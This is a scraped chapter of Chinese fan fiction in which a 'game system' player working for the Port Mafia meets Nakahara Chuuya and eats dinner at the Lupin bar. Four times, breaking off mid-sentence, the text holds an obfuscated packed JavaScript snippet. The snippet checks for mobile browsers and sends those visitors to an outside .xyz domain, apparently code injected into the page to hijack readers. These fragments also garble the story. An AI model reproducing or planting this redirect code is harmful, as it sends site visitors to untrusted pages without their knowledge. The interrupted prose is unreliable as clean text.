她呼唤系统:「那个……」 「在。」系统的声音古波无澜,「您可以选择购买道具商店的【日常跳过】道具,或者支付系统等同于东京文员平均时薪的【日元】道具,由系统接管,为您处理工作。」 花理心动了一瞬,直到她点开所谓的「通过游戏内日元支付」的选项,随即破防。 「……为什么比我的时薪要高?」她崩溃道,「我还是Mafia!要玩命的!」 「正在为您进行信息收集中……检索中……」 「答:系统的收费标准采用日本文员人均工资,玩家小姐的工资则是横滨文员人均工资,检测到横滨GDP与人均收入水平均显著低于日本整体薪酬水平。」 花理:“……” 「我要……」 「撕卡换卡,请自行操作。在玩家撕卡后,系统会为您重新匹配身份。」 “……” 花理认命地拿起了最上面的文件。一边机械地核对表格,一边在心里盘算着等会儿要去哪里吃点东西——饿着肚子干活效率实在太低了。 时间在翻阅纸张和敲打键盘的枯燥声音中流逝。窗外的阳光逐渐偏斜,给室内铺上一层暖黄。终于熬到了下班时间,花理几乎是弹射起步。 她顺着陌生的街道漫无目的地走着。黄昏的横滨褪去了白日的忙碌,带着一种奇异的安宁。她想找个地方吃点热乎的、能抚慰心灵的食物。 她打开系统的横滨地图,准备开始锄大地。 身为经验老道的rpg玩家,她熟练地在城市的各个角落上蹿下跳。高到天台,低到地下水道,花理全部钻了个遍。 她满意的听着一下午之后「横滨地图解锁度:35%」的播报,再看看自己逐渐富裕起来的存款,十分满意。 「绵津见花理」 「等级:lv3/距下一级(40/300)」 「主线任务:未解锁」 「描述:您仍未知悉自己降临于此的目的……但在许久之前,有人与你许下约定。所以您仍然记得该做什么。」 「支线任务:已解锁1——【横滨的幽灵不止一个】(mimic事件)」 「描述:你代替谁人成为了风暴的中心。不过神明(玩家)总是要替子民(npc)多承担一点。」 「好感任务:已解锁1」 「尾崎红叶:【暗中花】。进度:15%」 「背包:」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040785|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「日元×59(1000円)」 「描述:可以用所有余额吃一顿现实中不舍得吃的顶级和牛。」 「吃剩的面包×1」 「描述:昨天下班时翻垃圾桶,偶然捡到的食物。」 花理:“……这个丢掉。” 她继续往下翻。 「太宰治的绷带×1」 「描述:任务奖励。港口黑手党的白色死神来过的象征。还好他是您的友方。」 「使用效果:进行一次异能无效化。」 ……任务奖励? 花理的的手指蜷了蜷。她恍然回过神来,要看看自己已经lv3的等级,这才想到上午执行的那个任务。 「已完成支线章节前置任务【横滨的阴影,游荡的幽灵】。支线解锁度增加!」 「当前解锁度:15%」 「关键词:mimic,织田作之助,森鸥外。」 「相关词条解锁:森鸥外」 「您已升级到lv3。背包格子解锁:12格。」 「任务奖励已通过邮件发放至背包:」 「日元×20」 「太宰治的绷带×1」 「mimic的军牌(由角色【太宰治】放入背包)」 花理:?? 等一下、谁?什么时候? 她慌忙点开。 「mimic的军牌」 「描述:幽灵的象征。倘若您不想成为无家可归的亡灵,或许应该选择将带血的军牌抛弃。」 「互动:您可对道具【mimic】的军牌使用异能力「见证者」。」 花理利落地把界面叉掉。全当没看见,打算明天就还给太宰治。 她烦躁地关掉系统界面,决定暂时不去想那个麻烦精。当务之急是填饱肚子!一天下来,惊吓、疲惫、外加机械性的文书工作,胃里早已空空如也。她把背包里那个碍眼的【吃剩的面包】拖出来,点击了销毁。 「物品「吃剩的面包」已销毁。」 很好,眼不见为净。花理揉了揉饿得发慌的肚子,抬头环顾四周。黄昏的横滨街头,霓虹灯次第亮起,食物的香气若有似无地飘来。她记得昨天咖喱店的方向……但那个辣度实在让人心有余悸。 “算了,换一家……”她嘀咕着,决定沿着河岸步道走走看。晚风带着水汽,吹拂着额发,总算驱散了一些办公室里的沉闷。 她边走边低头翻看着系统地图,试图找出标记的附近可能的小餐馆或便利店。就在这时,脚下似乎踩到了什么东西,硬邦邦的。 「检测到可拾取物品!」 「您已获得物品:」 「日元50円×1」 「垃圾×1」 「……您已选择「丢弃」垃圾!垃圾已物归原主!」 花理:“……”昨天就想说了,物归原主到底是什么意思…… 正在她出神的时候,前方传来一个声音。一个陌生的大叔站在离她五步远的地方,嘴里还叼着烟,一脸错愕的看着站在垃圾桶旁的花理:“喂,小姑娘……” 她尴尬地抬头,果然看到一个穿着不太合身西装、胡子拉碴的中年男人正站在离她几步远的地方,脚边滚落着一个刚被她“物归原主”的空烟盒。 男人正用一种混合着茫然、尴尬和“这姑娘是不是有点问题”的眼神看着她。 花理转身就逃。 11. 中也前辈。 她一路往河边的跑道狂奔。甚至没听见某一刻开始身后就已经传来谁人的声音。 或许听见了,但把它当成是被「物归原主」的大叔的骂声,花理尴尬地想。 她忽然想到什么,停下脚步。看着背包里的【mimic军牌】陷入沉思,然后手指一戳,按上了归还。 「该物品无法归还」 花理不死心,再按一下。 「该物品是特殊道具,无法归还。」 花理:她的手指在光幕上迅速地狂戳。 「归还给物品将会导致角色【太宰治】怀疑度急剧上升,影响玩家生存率。」 军牌依旧静静停留在她的背包格子里。无法「物归原主」了。物归原主是到太宰治那里,还是被抢走军牌的mmic成员那里,花理不得而知,她只是一边走,一边盯着那格,心想这真的很不吉利。 “……喂、” “喂!新人!” 一个带着点不耐烦、却又异常清亮的少年音自身后传来。 花理脚步一顿,这个声音……有点耳熟?她迟疑地回头。 不远处,一辆漆黑的机车正停在路边,引擎还发出低沉的轰鸣。一个熟悉的身影正单腿支地,斜坐在机车上。橘色的发丝在傍晚的风中微微拂动,蓝色的眼眸像淬了冰,此刻正毫不客气地上下打量着她。 是中原中也。 他似乎也是刚结束工作,黑色的西装外套随意地搭在肩上,里面的衬衫领口解开了最上面的一颗扣子,袖口也挽到了手肘处,露出线条结实的小臂。虽然脸上带着一丝风尘仆仆的疲惫,但那股属于港口黑手党重力使的锐利气场丝毫未减。 “……你聋了吗。”对方像是有些被忽略的不满和暴躁,有些不耐烦地说道。 “对不起前辈。”花理迅速地滑跪,她抬头看着这个异能值1.2亿的大爷,有些好奇地问:“前辈你怎么在这里?” 中原中也扯了扯嘴角,似笑非笑地对着她抬了抬下巴。 “这话应该我问你吧。”中原中也说,“你这个月工资还没发吗?” 花理:“诶?嗯……” 这句话听起来怎么这么耳熟,好像有什么回忆出现在她的脑子里…… 花理努力思考,再抬起头,眼前的中原中也和昨天问她多大的织田作之助渐渐重合。 花理:“……!” “前辈……?你来这里是……?” “在前面听到有人说,有一个穿着工作服,还带着Mafia胸针的人在横滨满大街跑,掀了不下50个垃圾桶。”中原中也上下打量花理,毫不客气,“是你吧。” 虽然是疑问句,但他的语气太过笃定。 “……”花理弱弱,“……是丢港口Mafia的脸了吗?” “啊……大概也就是被说「港口Mafia现在经济差到这种程度了吗」吧。”中原中也嗤笑。 “我要被处决了吗……” 中原中也被她气笑了。 “哈?原来在你心里港口Mafia是这种地方?”中原中也说,“那你还来这里应聘,胆子不小啊。” “那是因为……!”花理差点脱口而出系统分配,一下子咬到了舌头,幸好痛觉值已经调低了,“……是因为我没有其他可以做的事。” 这话半真半假,声音也低落了下去。 中原中也“啧”了一声,蓝色的眼眸扫过她因为奔跑和刚才的惊吓而泛着红晕、沾着汗水的脸颊。他眉头蹙得更紧了些,像是看到了什么难以理解的麻烦。 “没有其他可以做的事?”他重复了一遍,语气里的嘲讽毫不掩饰,“所以选择了Mafia?” “……”花理不满地小声嘟嘟囔囔,“你不也是……” “嗯?” “我什么都没说啦前辈!” 中原中也腿一迈,干脆利落地从机车上跨了下来,动作流畅带着一种独有的力量感。几步走到花理面前,那股属于强者的、极具压迫感的气场瞬间笼罩下来,让花理不由自主地缩了缩脖子。 他和花理对视。那冰蓝色的瞳孔里,锐利的审视如同实质的刀锋,仿佛要把她整个人从里到外刮开看个清楚。 “……我又不像前辈这么强。”花理还对这人价值1.2亿的异能耿耿于怀,她梗着脖子接了一句,“不然的话我早就……早就……” “就?”中原中也挑了挑眉,抱臂好整以暇地看着他。 “称王称霸。不吃牛肉。” “……”中原中也显然没听懂她后面那句的意思,沉思了片刻。 “所以你觉得我……称王称霸了吗?”中原中也问她,「称王称霸」几个字说的极其艰难。他轻咳了一声,“身为新人,你可能不知道,地位和责任是相等的……所以……” “所以前辈你虽然这么强,但是也要在下班之后加班过来逮捕我这个翻垃圾的小文员……?” “……”中原中也冷笑。 青年的眸子危险地眯了起来,周身的气场瞬间变得更具压迫感。 “逮捕?你还没那么重要。”他毫不客气地上下打量着花理,眼神里带着审视,最终停留在她脸颊上那道已经凝固但依然显眼的擦伤上,眉头微不可查地蹙了一下。 “……你脸上怎么回事?” “嗯?啊……这个啊。” 花理下意识地抬手摸了摸脸颊,被系统削弱过的痛感只剩下微弱的刺痒:“是工伤哦。” 她语气平淡,仿佛在说一件无关紧要的小事: “被流弹擦了一下,不碍事。”毕竟痛觉系数0.1,现在感觉跟被蚊子叮了差不多。 “但是工资这么低要玩命很碍事!我不能接受!”花理一起想到了回到大楼还要处理文件的事情,想着系统几乎是宰她的要价。 这句倒是很大声,很真情实感,把中原中也都镇住几秒。 “……所以你翻垃圾桶是、” “请不要对一个妙龄少女说她翻垃圾桶的可怜事迹,前辈。”花理迅速打断他,表示自己的拒绝,“我很可怜。” “……不让说倒是一开始就不要去做啊!” “……唯独这件事(翻垃圾桶捡点数)我非做不可。” 两人的目光空中交汇片刻,又齐刷刷地移开。 “你……”他明显把“翻50个垃圾桶”当成了某种极不寻常的、可能潜藏深意的行动信号,完全会错了意,“谁给你下的这种任务?告诉我详情。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040786|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “Mafia从来没有过这种奇怪的要求,你……”是不是被职场霸凌了? 花理:“……?”等一下,这误会也太大了。 如果说是职场霸凌,太宰治可能算一个吧。但翻垃圾桶,真的是玩家朴素的、发自内心的愿望和行动啊。 花理心里千回百转。 任务?系统派来的算吗?探索任务算吗?她该怎么解释一个正常黑手党成员无缘无故在横滨街头疯狂翻垃圾桶的行为? “我、我……”花理急得看天看地看脚尖,就是不看中原中也,她碾了碾地上的小石子,飞速思考着说辞。 “你?”中原中也挑眉,却仍然耐心地等待他的回答,可能这就是他所说的地位和责任对等,所以才会下班时间来关注一个后背有没有被职场欺凌。 他锐利的目光在她空空如也的手心和身上仅有的一个小背包之间来回扫视。 “是……是……”花理拼命搜刮词汇,眼神死,最后她打算把之前骗过织田作之助的话重新再说一遍,“……我饿了。” “……”中原中也,“?” 花理越说越顺,语气甚至带上了一点恰到好处的焦急和懊丧,“下班后要饿死了!但是工资不够吃饭……所以才……对,翻垃圾桶!前辈您一定要相信我!我真的很着急!再不吃饭我就饿死了!” 骗人,今天她的状态都没显示「饥饿」。 她努力让眼神显得诚恳又可怜巴巴地看着中也,试图唤起一丝同情心。内心却在疯狂吐槽自己这惨得能做青春伤痛台词的谎言。 中原中也沉默地盯着她看了足足有十秒钟。那冰蓝色的眼睛像是要把她的灵魂都看穿,分析她每一个细微的表情变化。花理的心跳快得像要冲出胸膛,只能竭力维持着脸上那副“我真的很无辜很着急……特别是很饿!”的表情,后背几乎要被冷汗浸透。 「玩家小姐,我冒昧的问您一句,您真的觉得中原中也会相信吗」系统冷酷地说,「中原中也虽然是武斗派,但脑子大概……一定比你聪明。」 花理:「闭嘴!」 时间像是被冻结了一样缓慢。 就在花理觉得自己快要支撑不住,准备坦白“对不起我只是想捡点破烂换点数”的时候,中原中也终于有了动作。 他轻嗤一声,看起来不是完全相信,更像是……觉得这个谎言和翻垃圾桶的行为一样愚蠢,以至于根本不值得深究背后的阴谋了。 “我知道了。”他恢复成有一些懒洋洋的状态,没有了刚刚以为她被欺凌时的急促,“你是笨蛋吗?可以找部门财务提前支薪水的。” “……可以吗?”港口Mafia这么人性化? “……不清楚。不过我说了你可以,你就去就是了。” 他单手插进裤兜,另一只手随意地甩了甩机车钥匙,发出清脆的碰撞声。“行了,既然是部门没有注意到成员财务危机的失误的份上……” 他顿了一下,语气里带着嫌弃:“以后少干这种丢组织脸的事……要翻也给我找个没人的地方翻。听明白了吗?” “那我今晚吃饭的钱可以现在让财政支给我吗?就发今天的工资也行。” “……”中原中也,以难以言喻的目光看了花理一眼。 12. lupin,但是中原中也。 他像是有些头痛,又有些烦躁的叹了一口气。 “你就这么点志气。” “人是铁饭是钢。”花理理直气壮,刚要打开手机给人事发消息,狐假虎威借着中原中也的名头要工资,就听见他说了一句: “上来。” “诶?” 花理一愣,没反应过来。 “啊什么啊?”中原中也已经转身走向他那辆线条流畅的机车,动作利落地跨坐上去,重新戴好手套,一边发动引擎一边没好气地朝她甩头示意,“上车。” “果然还是要处决……” “不是啊蠢货!”中原中也被她气得不清,“你当我很闲处理这种小事?” “地位和责任……” “这句话不是用在这种地方的!”中原中也咬牙切齿,盯着她低低重复了一遍,“上来。” 花理看着那辆轰鸣的机车,再转向中原中也。期期艾艾地问道:“去哪?” “少废话!”中也的声音在引擎的轰鸣中依然清晰有力,带着不容置疑的强硬,“港口Mafia的人在这乱晃还说「吃不饱」像什么样子!你想让其他人以为我们连个新人都护不住吗?上车!” 最后两个字几乎是命令式的。 花理被他突如其来的气势镇住了。 「检测到角色【中原中也】情绪波动:烦躁值上升,但隐藏属性【责任心】触发。」 「建议玩家顺从指令,避免引发更大冲突。」 花理思考片刻,恍然大悟。 “前辈你要请我吃饭?” “……啧。” “上车!”中原中也的回答是直接启动引擎,机车如同苏醒的野兽般发出低沉的咆哮声,打断了她的话。 他伸出手,修长的手指骨节分明,掌心朝上递到她面前,动作干脆利落,没有任何废话和商量的余地。 那双冰蓝色的眼睛在暮色中显得格外明亮显眼,直直地盯着她,无声地传达着两个字:立刻,马上。 花理看着他不容置啄伸出的手掌和那辆线条流畅、充满力量感的机车,又看了看天边即将彻底消失的夕阳余晖。 她小心翼翼地伸出手,迟疑地、轻轻地搭在了中也的手掌边缘一点点——碰一下就赶紧缩了回来,确认这位大爷没有把她手甩开的意思。 中原中也不耐烦地啧了一声,直接反手一把抓住了她的手腕。力道不算温柔,带着一种不容挣脱的强势,温热有力。 “动作快点!磨磨蹭蹭的!”他低喝一声,没给花理任何反应的时间,就那样手臂稍微用力一拽—— “哇啊!”花理惊呼一声,只觉得一股大力传来,被他轻松地拉着向前一步稳稳地丢在后座上。 “难怪太宰先生说中原前辈是武斗派……”她小声嘟囔。 “抓稳。”中原中也没听清她说的话,反而青年自己的声音在引擎的轰鸣声显得格外清晰。 花理还没来得及坐稳,眼睁睁地看着中原中也握住把手,一句「等等」还没说出来,巨大的推力骤然从背后传来。 “等——!” 风猛地灌进她的口鼻,强烈的推背感让她整个人瞬间向后仰去。街道两旁的霓虹灯光瞬间拉成了模糊的光带。 速度带来的失重感和对安全的不确定性的恐惧让花理尖叫出声,几乎是不假思索地,双手猛地向前,死死抱住了前面的中原中也。 青年的腰劲瘦却结实,入手是硬朗的肌肉线条和温热的体温,隔着薄薄的衬衫布料清晰地传来。 属于他身上那股清爽的皂角混合着淡淡烟草、皮革和硝烟的气息瞬间将她包围,和太宰治那种消毒水混合血腥气的阴冷味道截然不同,是更加炽烈、直接的气息。 就算在游戏里也克服不了失重带来的对死亡的恐惧感,花理的脸紧紧贴在了他宽阔后背上,能清晰地感受到机车引擎震动,和他沉稳的心跳一下一下传来的搏动。 中原中也的身体在她扑上来抱住腰的瞬间明显一僵。握着车把的手指似乎都收紧了一下,整个脊背瞬间绷得笔直。 “……白痴。抱太紧了。”中原中也带着点无语的、隐含薄怒的声音穿透疾风传入花理耳中,“你是想勒死我吗?” “……可是松开会死掉的啊!”花理比他更凶地回吼回去,手指不但没松,反而更用力地揪紧了他腰侧的衣服布料,整张脸都埋在他背上,声音被风吹得支离破碎。 “明明就是前辈的错!开太快了!” “哈?身为Mafia说这种话?”中原中也也毫不示弱地大声喊出回复她的话语,“新人,你对前辈的尊重呢?” 风在耳边呼啸而过,城市在她余光中飞速倒退。 花理瞥见模糊的街景飞逝而过,心脏擂鼓般撞击着胸腔。鼻端充斥着属于强大重力使的独特气息,指尖是他精瘦腰腹真实的触感和温度。 所有感官都被这极致的速度和掌控着速度的人牢牢占据着。之前无论是面对太宰治试探时的危机感和无奈,还是在街头翻垃圾桶被原住民npc看到的窘迫尴尬,在这一刻仿佛都被这飞驰的速度甩到了身后。 飞身乘上风暴。 ……但生命真的在摇曳啊! 速度即是暴力。而她正被这样极致的暴力挟带着,一路呼啸着奔向一个无法反抗的未知的的夜晚。 _ 直到机车停在一间酒吧前,中原中也熄火,花理确定已经平稳落地,才敢僵硬地、缓缓地松开抱着中原中也腰的手臂。 她几乎是手脚并用地从机车上滑下来,双脚踩在坚实的地面上,那属于失重感的虚浮还没有消散,她差点一个踉跄扑倒,就听到中原中也嗤笑一声,居高临下地看着他。 花理:“……”为什么每次站不稳都是他在。 “……你是不是用重力悄悄地、悄悄地绊了我一下!”花理抗议。 “……要是那样你已经头朝下栽进地里了。”对方毫不客气的嘲讽。 眼前是一栋看起来很普通的临街建筑,并不太惹眼。酒吧的霓虹招牌闪烁着有些年头的“Lupin”字样。 花理开始思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040787|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考:Lupin……卢平?哈利波特……?诶、游戏角色也看哈利波特吗? 她斟酌了一下,开口试探:“……阿瓦达啃大瓜?you know who?” 中原中也:“……” 中原中也用看傻子的眼神看了她一眼,没有说话。花理尴尬地摸了摸鼻子,低下头装作很忙地在寻找地上的蚂蚁。 暖黄色的灯光从门上的磨砂玻璃里透出来,在夜晚的街道上勾勒出一方温馨的港湾。隐约有爵士乐舒缓慵懒的调子流淌出来。 中原中也已经利落地下车,将机车稳稳停好,取下头盔随手挂在车把上。他把正在留的长发往前捋了一下,甩了甩头发。 “前辈为什么留长发呢。” “哈?你哪来那么多为什么……”中原中也莫名其妙,语气不耐。 “喂,还傻站着干什么?” 他回头瞥了花理一眼,语气依旧说不上多温和,但之前那种明显的火气和命令感褪去了不少,只剩下一种“理所当然”的催促: “不饿?” 花理这时才后知后觉地感觉到胃部传来的强烈空虚感——在仓库里经历的生死一线加上下班后玩家努力地锄大地……她真的在游戏里感觉到了饿,尽管现在状态栏反而没有标注「饥饿」而是写着「对中原中也和机车的敬畏之心燃起」。 这种感觉很新奇,花理眨了眨眼,慢悠悠地转头看向中原中也。 “……饿。”她老老实实地回答,“前辈,我有很多想吃的。你很有钱吧。” “?” “……”花理不能说「因为我看到你的异能值1.2亿啊!」所以她只能默默地尴尬地抓了抓脑袋。 “因为你很强……Mafia就是这种地方、我觉得。” “至少不让你饿肚子的工资,Mafia还是发得出来的。” 中原中也似乎嗤笑了一声,没再说什么,转身熟门熟路地推开了“Lupin”酒吧的木质门。门铃发出清脆的“叮铃”声。 花理跟着他走下通往下面的台阶,好奇地四处打量。她的指尖略过扶梯,没有沾到一丝灰尘。 “……真干净。”花理有些惊奇地收回手,盯着指尖。 “嗯。” 中原中也的回答很是简短。 台阶下,一股混合着咖啡、酒精和烟草的温暖气息扑面而来,瞬间驱散了夜晚微凉的空气和机车疾驰带来的冰冷。 酒吧内部不大,灯光柔和昏黄,老旧的木制吧台反射着温润的光泽,几张高脚凳随意摆放着。吧台后面是一个看起来很沉静的中年调酒师,正慢条斯理地擦拭着玻璃杯。时间尚早,店里除了他们只有零星一两个客人。 中也径直走向吧台,随意地在靠近门口的一个位置坐下,对着花理抬了抬下巴:“坐。” 花理依言乖乖坐下,她的目光越过老板停滞在后面满墙的酒上。直到余光再次扫过中原中也精致的侧脸,她忽然想到了什么: “咦。”花理惊讶地感叹,“前辈……您原来成年了啊。” 13. 前辈请吃饭,我信前辈 正接过老板递来的柠檬水喝了一口的中原中也被呛了一下,随机咳得惊天动地: “咳、咳咳……你……”中原中也“砰”的一下把玻璃杯重重放到桌子上,对花理怒目而视,“哈?你在说什么啊?” “……”花理默默移开视线逃避中原中也的死亡凝视,“没什么……” “我到底是哪里——!”让你觉得是个未成年了,中原中也咬牙切齿,将杯中的水一饮而尽,有些郁闷地盯着花理。 “你……” 与他一起出声的是本想着为他解围的调酒师。调酒师对中原中也似乎很熟悉,他的目光略过转过头装死的花理,露出一个温和的微笑。 “中原先生难得带朋友来了。吃点什么?” 他的声音平和舒缓,带着一种能让人放松下来的韵律。 中原中也还没说出的话就这样咽了回去,他“嗯”了一声,算是回答,也没反驳“朋友”这个说法,只是眼神执着地恶狠狠地盯着花理。 “……”受到谴责的花理戳着手指尖可怜兮兮地低头,“对不起……?我只是觉得前辈长得很漂、帅气……” 她把漂亮进肚子里,决心不被中原中也知道这才是她的真实想法。 中原中也冷笑:“你觉得我会信吗?” “是真话……” “觉得我很、帅。”中原中也顿了顿,怒火在背后熊熊燃烧,“和觉得我未成年,可以同时出现?” “当然可以。”被质疑审美的花理迅速反驳,又在对方的注视下息鼓偃旗,“……所谓童颜系帅哥啊……” “哈?”中原中也发出更加暴躁的声音,花理再次迅速败北。 “对不起我什么都没说但我心里这份尊敬是真实的请原谅我把漂、……帅气的中也前辈!” 她双手合十。转过高脚凳面对中原中也,一脸真诚。 中原中也定定地看了她几秒,才收回视线。 “……嘁。” 酒吧里的温度很舒适,空气中弥漫的香气让她胃里的抗议更响亮了。 调酒师为中也送上一杯加了冰球的威士忌,深金色的液体在灯光下流转着琥珀般的光泽。然后他拿着菜单,温和地递到花理面前:“这位小姐想用点什么?除了酒水,我们这里的炖牛肉和奶油蘑菇意面评价都不错。” 花理几乎是有些感激地接过菜单,迅速扫过上面的文字。她实在太饿了,根本顾不上仔细研究,只看到“量大”、“管饱”、“适合下班后”之类的关键词就疯狂心动。 “……我可以随便点的吧?” “随你。”摇着杯子听着冰球与杯壁清脆的碰撞声,中原中也没什么所谓地说到。 “前辈是大好人!你工资高是应得的!” 得到许可的花理欢呼一声,手指毫不客气地戳着菜单: “这个!”她毫不犹豫地指向看起来分量最足的A套餐,“还有这个特浓玉米浓汤!能加面包吗?” 调酒师笑着点头:“当然可以,稍等。” “面包要烤过的,多加一份。”一旁的中原中也突然补充道,他甚至没有看菜单。他似乎对这间酒吧的供应了如指掌。 花理惊讶地看向他。 “……我刚想问你「前辈,你只喝酒不吃饭吗」……”花理说,“所以原来是吃的!” 中也端起酒杯抿了一口。他不是很想回答这种显而易见的蠢问题。 察觉到花理的目光,他啧了一声:“看什么?” 他没好气地补了一句,“吃你的饭。” 花理赶紧收回目光,盯着吧台光滑的木质纹理。 食物上得很快。热气腾腾、浓香四溢的特大份奶油蘑菇意面,旁边还配了一大份刚出炉、烤得酥脆喷香的蒜香面包片。浓郁的玉米浓汤装在厚实的陶瓷碗里,散发出诱人的甜香。 食物的香气仿佛瞬间治愈了一切创伤。花理几乎是怀着一种虔诚的心情拿起叉子,迫不及待地卷起一大坨裹满奶酱和蘑菇的面条塞进嘴里。 浓郁顺滑的奶油包裹着弹牙的意面,搭配着鲜嫩的蘑菇碎片,温暖的热量和满满的幸福感瞬间在口腔里炸开。 她整个人沉浸在填饱肚子的单纯快乐里,连之前在街头被撞见的窘迫和对中也这位“前辈大人”的些许警惕都暂时丢到了脑后。 她忍不住满足地喟叹了一声:“……太好吃了、suki……前辈谢谢你……” 中原中也顿了顿,没有接话,但在调酒师低低的笑声中,花理敏锐地发现他耳尖的微红。 “……”像是经过了一些斟酌,或是酒精开始悄悄起作用,中原中也沉吟片刻,由于地看向花理。 “……你今天去出的什么任务?” “嗯?”花理正在把意面卷在叉子上,“嗷呜”一口吃下去,闻言呆了呆。 “原来这些并不是要完全保密……?” “哈?”中原中也眼眸微眯,扫过她鼓起的腮帮子又很快移开,“我好歹是你的直系……前辈。” “诶?” “刚进港口Mafia的时候我也在红叶姐手下。” “嗯……”花理想了想,最后诚恳地问出了打工人的心声,“那这边对晋升友好吗?” 中原中也的额间明显地出现了一个井字。 他郁闷地盯着正在用他的工资大快朵颐的、还因为汤喝得有点急,不小心被烫得缩了一下脖子的花理,“啧”了一声。 “所以回答呢?” 与追问不同,他不动声色地把自己面前那杯加了冰块还没怎么喝的冰水往她那边推过去了一点点。花理感激地看他一眼,接过来一点也不客气地灌了一大口。 “就是那样啦……尾崎红叶大人的命令……探查、收集情报,之类的。” “你一个人?” 花理想到了太宰治的脸,表情扭曲了一瞬。她想起太宰治曾称呼中原中也为小矮子和蛞蝓,犹豫片刻,直觉中原中也不会想听到太宰治的名字。 “和一个……”她含糊地一边用手撕开面包一边说,“比较……异于常人的前辈。” “?” “就是那个啦!”花理自暴自弃,咬下面包,一边嚼着一边用手在吧台上画了两笔。 “太宰……干部。” “哈?……哈。”中原中也显然确实不乐意在下班后吃饭时这种放松的时间听到这个名字,他瞪了花理一眼。 “所以脸上的伤也是?” “嗯嗯。”花理没什么所谓地点点头。不同于中原中也紧紧盯着她伤口的莫名其妙的关心和对太宰治行为的介意,失去了痛觉的她也更多是无所谓的态度。 “反正是小伤啦……医务室的医生还说没必要去他那里呢……” “不行。” 这是中原中业斩钉截铁的声音。正在撕开面包的花理愣了一瞬,抬头看他。中原中也也顿了顿,为自己下意识的巨大反应找补: “……受伤了就要好好处理。” 支着下巴舀着玉米汤玩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040788|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花理顿了顿,抬眸莫名其妙地看他: “明明前辈受的伤比我多多了吧?” “哈?只有你这种弱者才会容易受伤……”中原中也不赞同道。 “太宰大人说您是武斗派!” “吵死了!那你是信他还是信我啊!” “全部都不信啦!”花理顿了顿,看着自己面前的美食,再想想不靠谱的另一位,突然屈服,口风一转,斩钉截铁道: “信您。要是您是我上司就好了。” “……” 中原中也端着酒杯,再次笑了,花理看不出缘由。 青年没有再和她说话。他只是坐在旁边,偶尔喝一口酒,冰球在琥珀色的液体里轻轻摇晃。 那双冰蓝色的眼眸并没有刻意看着大快朵颐的花理,视线似乎落在吧台深处某个虚点,显得有些放松和漫不经心。 酒吧里舒缓的爵士乐流淌着,食物的香气和低声交谈的嗡嗡声构成背景音。两人之间隔着不到一臂的距离,一个安静吃饭,一个安静喝酒。气氛有些微妙的平和,完全不同于之前争论的剑拔弩张,也不同于街头机车上的疾风骤雨。 花理吃完了最后一口面包,心满意足地捧着温热的玉米浓汤小口喝着,胃里是久违的充实感。身体暖洋洋的,紧绷的神经也松弛了不少。她偷偷瞄了一眼旁边依旧没说话的中原中也。 青年侧脸线条在暖黄的灯光下显得比平时稍显柔和,橘色的碎发垂在额前,遮住了些许凌厉的眉峰。他指尖摩挲着冰凉的威士忌杯壁,似乎陷入了某种放空的状态,身上的锐气也收了起来。 花理犹豫了一下,小声打破沉默:“那个……前辈?” 中也的视线从虚无中拉回,瞥向她,扬了扬下巴示意她说。 “谢谢你……花理我从此以后就是您是忠实的信徒。”嘴上没个把门的玩家如此风轻云淡理直气壮地说出献殷勤表忠心的话。 “哦?”中也挑了下眉,冰蓝色的眼睛里似乎掠过一丝极淡的、几乎看不清的情绪。“你最好不是说谎。” 「角色【中原中也】好感度上升!」 花理眼睛一亮,刚要点头,就听他又低低的嗤笑一声。 “但我不需要你的忠实。你只需要对港口Mafia忠实。” 他语气依旧有点生硬。站起身,座椅和地面摩擦发出沉闷的响声。 “别误会,只是处理掉一点不体面的状况。港口Mafia的人不能在外面显得连顿饭都吃不上。” 花理:“……懂了,前辈是出于组织荣誉感,而不是因为我个人。” 她棒读:“前辈绝对没有私心,我只需要把对前辈的感激报答到在港口Mafia的工作中就好。” “……哼。” 听到她真这样说,中原中也反而不爽又莫名其妙地笑了一下。 中也端起酒杯又喝了一口,没承认也没否认。他把杯底最后一点酒液饮尽。 “吃饱了?”他拿起进来时披在椅背上的西装外套,盯着花理问道。 